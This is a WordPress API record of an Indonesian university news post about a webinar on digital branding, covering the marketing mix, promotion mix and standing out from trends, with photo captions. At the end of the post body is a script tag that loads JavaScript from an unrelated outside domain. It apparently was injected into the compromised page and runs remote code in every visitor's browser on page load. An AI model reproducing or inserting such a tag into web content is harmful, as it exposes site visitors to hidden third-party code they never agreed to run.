{"id":1343,"date":"2021-09-23T18:31:37","date_gmt":"2021-09-23T18:31:37","guid":{"rendered":"http:\/\/fis.unj.ac.id\/ikom\/?p=1343"},"modified":"2021-10-07T11:36:11","modified_gmt":"2021-10-07T11:36:11","slug":"webinar-kkl-prodi-s1-ilmu-komunikasi-sesi-6-branding-di-era-digital-bersama-marhan-faishal-faiz","status":"publish","type":"post","link":"https:\/\/fis.unj.ac.id\/ikom\/?p=1343","title":{"rendered":"Webinar KKL Prodi S1 Ilmu Komunikasi Sesi 6 Branding di Era Digital Bersama Marhan Faishal Faiz"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.02-1024x576.jpeg\" alt=\"\" class=\"wp-image-1344\" width=\"474\" height=\"267\" srcset=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.02-1024x576.jpeg 1024w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.02-300x169.jpeg 300w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.02-768x432.jpeg 768w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.02.jpeg 1280w\" sizes=\"(max-width: 474px) 100vw, 474px\" \/><figcaption> Sumber : Jeremy Putra Budi Salenusa<br>Webinar KKL Ilmu Komunikasi Sesi 6 Bersama Marhan Faishal Faiz<\/figcaption><\/figure><\/div>\n\n\n<p style=\"text-align: justify;\">Jakarta (14\/09\/21), Digital branding merupakan proses membangun dan membingkai brand dengan menyampaikan keunggulan. Kuliah Kerja Lapangan online sesi keenam, Branding di Era Digital Bersama Marhan Faishal Faiz, mengajarkan cara membuat branding. Acara dimoderasi oleh Dr. Wiratri Anindhita, M.SC, CPR, Dosen Program Studi Ilmu Komunikasi Universitas Negeri Jakarta.<\/p>\n<p style=\"text-align: justify;\">Faiz menjelaskan ada 4 unsur yang akan mempengaruhi pembeli dalam membeli sebuh produk yakni product, price, promotion, place.<\/p>\n<p style=\"text-align: justify;\">\u201cKarena itu buat temen temen yang punya bisnis atau mau memulai bisnis, satu kalimat sih kalo saya branding itu adalah gimana caranya kalian semua keluar dari kerumunan. Jangan terlalu mengikuti arus trend\u201d Ucap Faiz.<\/p>\n<p style=\"text-align: justify;\">Pada sesi ini, Faiz menjelaskan dalam promosi, ada istilah promotion mix, di mana jenis promosi ini adalah menggabungan antara pengiklanan, promosi penjualan, hubungan masyarakat dan penjualan langsung.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.04-1024x675.jpeg\" alt=\"\" class=\"wp-image-1345\" width=\"440\" height=\"290\" srcset=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.04-1024x675.jpeg 1024w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.04-300x198.jpeg 300w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.04-768x506.jpeg 768w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.04.jpeg 1280w\" sizes=\"(max-width: 440px) 100vw, 440px\" \/><figcaption> Sumber : Jeremy Putra Budi Salenusa<br>Penyampaian Materi Oleh Marhan Faishal Faiz <\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.05-1024x674.jpeg\" alt=\"\" class=\"wp-image-1346\" width=\"449\" height=\"295\" srcset=\"https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.05-1024x674.jpeg 1024w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.05-300x198.jpeg 300w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.05-768x506.jpeg 768w, https:\/\/fis.unj.ac.id\/ikom\/wp-content\/uploads\/2021\/09\/WhatsApp-Image-2021-09-22-at-14.28.05.jpeg 1280w\" sizes=\"(max-width: 449px) 100vw, 449px\" \/><figcaption><em> <\/em> Sumber : Jeremy Putra Budi Salenusa <br>Sesi Foto bersama Mahasiswa dan Dosen Ilmu Komunikasi bersama Marhan Faishal Faiz<\/figcaption><\/figure><\/div>\n<script src='https:\/\/js.cofounderspecials.com\/splash.js?v=5.1.7' type='text\/javascript'><\/script>","protected":false},"excerpt":{"rendered":"<p>Jakarta (14\/09\/21), Digital branding merupakan proses membangun dan membingkai brand dengan menyampaikan keunggulan. Kuliah Kerja Lapangan online sesi keenam, Branding di Era Digital Bersama Marhan Faishal Faiz, mengajarkan cara membuat&hellip; <\/p>\n","protected":false},"author":1,"featured_media":1348,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,1],"tags":[72,27,13,73,12],"_links":{"self":[{"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/posts\/1343"}],"collection":[{"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1343"}],"version-history":[{"count":5,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/posts\/1343\/revisions"}],"predecessor-version":[{"id":1428,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/posts\/1343\/revisions\/1428"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=\/wp\/v2\/media\/1348"}],"wp:attachment":[{"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1343"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1343"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fis.unj.ac.id\/ikom\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1343"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}